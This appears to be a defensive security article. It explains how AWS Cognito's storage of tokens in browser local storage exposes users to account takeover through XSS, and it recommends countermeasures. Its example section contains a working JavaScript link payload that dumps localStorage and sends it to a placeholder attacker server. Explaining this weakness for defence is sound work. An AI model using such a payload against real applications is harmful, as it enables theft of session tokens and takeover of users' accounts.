The risks of AWS Cognito: a security analysis
One cross-site scripting flaw is enough to take over a user account in AWS Cognito. How the attack works, what it achieves and what prevents it.
Cognito is one of the many services AWS offers, and a widely used one: it handles user management and authentication for a large number of applications. Like any technology it carries risks, and one of them is regularly underestimated. This article analyses a specific weakness in AWS Cognito that can be exploited through cross-site scripting (XSS) to take over user accounts and steal data. It is written for developers, CISOs and anyone responsible for making an application harder to attack.
An introduction to AWS Cognito
AWS Cognito gives developers a straightforward way to manage user accounts and integrate authentication. It handles sign-up and sign-in, manages user pools, and authenticates through identity providers such as Google, Facebook and SAML. Two concepts are central: user pools and identity pools.
User pools
A user pool is a directory holding the information about registered users. It manages sign-up and sign-in and provides password recovery, multi-factor authentication and other user-facing functions.
Identity pools
An identity pool makes it possible to issue temporary AWS credentials that control access to AWS services. It combines identities from several sources, such as user pools, social identity providers or custom identities. Identity pools are how user identities get tied to AWS resources and access control.
The problem
One of the more serious weaknesses in AWS Cognito is that tokens are stored in the browser’s local storage. Those tokens are the ID, access and refresh token:
ID token: holds information about the user, such as the username and email address. It identifies the user inside the application. It can also be exchanged for an X-AMZ-Security-Token, which is what AWS resources require.
Access token: grants access to protected resources and APIs. It carries the user’s permissions.
Refresh token: obtains a new access token when the current one expires, without the user signing in again.
Storing them this way is vulnerable to cross-site scripting. An attacker who can inject code into the application can read the tokens out of local storage and take them.
What XSS is
XSS stands for cross-site scripting, a class of flaw that lets an attacker place malicious scripts into web pages. Those scripts can reach sensitive data, steal cookies or manipulate what a user does. There are several kinds: stored XSS, reflected XSS and DOM-based XSS.
The risk in detail
If the client application does not sanitise user input reliably, does not HTML-encode it, and has no useful Content Security Policy, an attacker can read the browser’s local storage through JavaScript and take the tokens. With them the attacker assumes the victim’s identity and reaches everything the token is authorised for. Where the application holds sensitive data or important functions, that is a serious breach.
An example of an XSS attack
<a href="javascript: (function() { var data=''; for(var i=0;i<localStorage.length;i++) { var key=localStorage.key(i); data+=key+'='+localStorage.getItem(key)+'&'; } var img=new Image(); img.src='https://<ATTACKER_SERVER>/?'+encodeURIComponent(data); })();"> Click me </a>
Here the attacker uses a manipulated URL that runs JavaScript to read the entire contents of local storage and send it to a server they control. The stolen tokens then let them act as the victim and reach protected resources.
Defending against XSS and token theft
Several measures help:
Avoid XSS in the first place: the most important one. Validate and filter user input, and use safe encoding consistently.
Handle tokens safely: tokens do not belong in local storage, which is exactly what XSS reaches. HTTP-only cookies, which JavaScript cannot read, are the safer place.
Content Security Policy: a CSP restricts which script content a page will execute, and cuts down what an XSS flaw can do.
Regular security testing: applications should be checked for weaknesses regularly. Penetration tests are well suited to this, because they look for flaws systematically rather than waiting for one to be reported.
In short
AWS Cognito does its job, and it carries risk like anything else. Storing tokens in local storage is a real problem, in particular in combination with XSS. It was reported in 2018, and AWS has not changed the behaviour since.
Developers need to be aware of both the XSS risk and the storage question. Avoiding XSS, handling tokens safely, setting a Content Security Policy and testing regularly bring the risk down. Penetration tests in particular are a way to find the flaws systematically rather than one at a time.